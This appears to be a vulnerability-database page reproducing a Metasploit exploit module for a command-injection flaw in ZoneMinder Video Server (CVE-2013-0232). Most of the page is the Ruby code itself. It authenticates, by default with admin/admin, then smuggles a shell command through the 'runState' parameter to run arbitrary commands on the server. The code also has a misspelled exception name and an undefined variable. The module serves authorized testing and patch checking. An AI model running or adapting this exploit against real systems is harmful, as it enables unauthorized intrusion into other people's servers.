ZoneMinder Video Server packageControl Command Execution

2013-01-22T12:26:50
ID MSF:EXPLOIT/UNIX/WEBAPP/ZONEMINDER_PACKAGECONTROL_EXEC
Type metasploit
Reporter Rapid7
Modified 2019-01-10T19:19:14

Description

This module exploits a command execution vulnerability in ZoneMinder Video Server version 1.24.0 to 1.25.0 which could be abused to allow authenticated users to execute arbitrary commands under the context of the web server user. The 'packageControl' function in the 'includes/actions.php' file calls 'exec()' with user controlled data from the 'runState' parameter.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ZoneMinder Video Server packageControl Command Execution',
      'Description'    => %q{
        This module exploits a command execution vulnerability in ZoneMinder Video
        Server version 1.24.0 to 1.25.0 which could be abused to allow
        authenticated users to execute arbitrary commands under the context of the
        web server user. The 'packageControl' function in the
        'includes/actions.php' file calls 'exec()' with user controlled data
        from the 'runState' parameter.
      },
      'References'     =>
        [
          ['CVE', '2013-0232'],
          ['OSVDB', '89529'],
          ['EDB', '24310'],
          ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/']
        ],
      'Author'         =>
        [
          'bcoles', # Discovery and exploit
        ],
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'BadChars'    => "\x00",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet python perl',
            },
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => "Jan 22 2013"
    ))

    register_options([
      OptString.new('USERNAME',  [true, 'The ZoneMinder username', 'admin']),
      OptString.new('PASSWORD',  [true, 'The ZoneMinder password', 'admin']),
      OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
    ])
  end

  def check

    peer    = "#{rhost}:#{rport}"
    base    = target_uri.path
    base    << '/' if base[-1, 1] != '/'
    user    = datastore['USERNAME']
    pass    = datastore['PASSWORD']
    cookie  = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
    data    = "action=login&view=version&username=#{user}&password=#{pass}"

    # login and retrieve software version
    print_status("Authenticating as user '#{user}'")
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'    => "#{base}index.php",
        'cookie' => "#{cookie}",
        'data'   => "#{data}",
      })
      if res and res.code == 200
        if res.body =~ /<title>ZM - Login<\/title>/
          vprint_error("Service found, but authentication failed")
          return Exploit::CheckCode::Detected
        elsif res.body =~ /v1.2(4\.\d+|5\.0)/
          return Exploit::CheckCode::Appears
        elsif res.body =~ /<title>ZM/
          return Exploit::CheckCode::Detected
        end
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe

  end

  def exploit
    base     = target_uri.path
    base    << '/' if base[-1, 1] != '/'
    cookie   = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
    user     = datastore['USERNAME']
    pass     = datastore['PASSWORD']
    data     = "action=login&view=postlogin&username=#{user}&password=#{pass}"
    command  = Rex::Text.uri_encode(payload.encoded)

    # login
    print_status("Authenticating as user '#{user}'")
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'    => "#{base}index.php",
        'cookie' => "#{cookie}",
        'data'   => "#{data}",
      })
      if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
        fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
    print_good("Authenticated successfully")

    # send payload
    print_status("Sending payload (#{command.length} bytes)")
    begin
      res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "#{base}index.php",
        'data'      => "view=none&action=state&runState=start;#{command}%26",
        'cookie'    => "#{cookie}"
      })
      if res and res.code == 200
        print_good("Payload sent successfully")
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end

  end
end